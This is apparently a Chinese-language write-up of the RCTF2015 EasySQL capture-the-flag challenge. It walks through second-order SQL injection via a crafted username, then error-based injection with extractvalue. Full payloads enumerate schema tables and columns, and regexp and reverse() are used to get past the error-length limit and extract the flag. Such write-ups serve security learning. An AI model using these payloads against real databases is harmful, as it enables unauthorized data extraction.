[RCTF2015]EasySQL1
两个功能
1、登录
2、注册
第一个尝试
能注册,想到二次注入
先注册 试试 admin 发现已经存在 那么尝试更改admin的密码
注册 admin"#
登录后更改密码,成功,返回登录admin,成功
但是发现并没有什么软用
admin 和 普通用户没区别
第二个尝试
发现更改密码处可以报错
那么尝试报错注入
思路构造用户名,在更改密码的时候让其报错
ad"&&exists(select(extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.columns)where(table_schema=database()))))))#
测试得flag并不在 flag表里
ad"&&exists(select(extractvalue(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))))#
测得在users表中有一列 real_flag_1s_here,报错长度有限
ad"&&exists(select(extractvalue(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('flag'))))))#
regexp 正则表达式匹配 由于报错注入的长度限制 需要使用正则表达式
那么直接去查 real_flag_1s_here 这一列 为xxxxxxxxxxxxxx
由于长度的限制导致
用正则表达式匹配 flag 可以得到一半的 flag
ad"&&exists(select(extractvalue(1,concat('~',(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('flag'))))))#
使用reverse函数 将字符逆序输出
ad"&&exists(select(extractvalue(1,concat('~',(select(reverse(group_concat(real_flag_1s_here)))from(users)where(real_flag_1s_here)regexp('flag'))))))#
然后复制到mysql 中再逆序一下就行
最后得到flag